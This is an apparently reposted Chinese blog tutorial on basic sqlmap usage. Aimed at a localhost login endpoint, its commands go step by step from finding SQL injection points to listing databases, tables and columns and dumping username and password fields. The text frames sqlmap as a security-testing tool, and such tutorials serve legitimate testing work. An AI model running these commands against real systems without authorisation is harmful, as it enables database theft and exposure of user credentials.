sqlmap基本使用方法

Posted 1501220038

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap基本使用方法相关的知识,希望对你有一定的参考价值。

sqlmap是安全测试工具,通常用于对已知的http接口进行sql注入测试,一旦注入成功,可以获取到后台包括数据库表、用户信息、数据内容等多种敏感信息,对web漏洞防范有重要意义。

 

基本语法

 

1.先进行注入点探测,常规语法是:

python sqlmap.py –u [url]

说明:url 一般选择包括参数输入的链接。如果是get方法,就直接跟在url后面用?补充参数。如果是post方法,用--data=’xxx=xxx&yyy=yyy’格式发送。或者是--data=’“xx”:”xxx”’ json格式的数据。如果不是这两种常见方法,需要加参数 --method=put 或 --method=delete加以特别说明。如果是路径参数,就在参数位置写* ;如果需要加入header信息,需要加上参数--headers=’xx:xxx\\nyy:yyy’ ,\\n是多行,表示多个header项。

如:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’

python sqlmap.py --method=delete –u http://localhost:8080/users/uid/*

执行结果一般会显示是否有漏洞,包括几个注入点等等。

 

2.如果存在可注入点,接下来就可以进行获取数据的sql注入了。

比如查看有哪些数据库:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --dbs

 

查看当前数据库:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-db

 

查看当前用户:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-user

 

查看数据库中有哪些表:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname --table

 

查看表中有哪些字段:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users --column

 

查看字段内容:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users -C “username,password,usertype” --dump

 

这样一步一步下来把用户信息全得到了。其他数据也是如此,就是常说的被拖库了。

sqlmap功能及其强大,还包括多种用法,操作也相对复杂,具体可参考帮助文档。一般来说,如果很轻易就发现漏洞说明安全意识很差,接下来的操作也势如破竹。如果不是很快探测到漏洞说明防范措施还是有的。那么换别的用法恐怕也收获不大。

以上是关于sqlmap基本使用方法的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap 基本使用步骤

sql注入工具之 sqlmap的基本使用

sqlmap基本使用

sqlmap常用技巧整理

sqlmap常用技巧整理

Sqlmap中代理及其他常用参数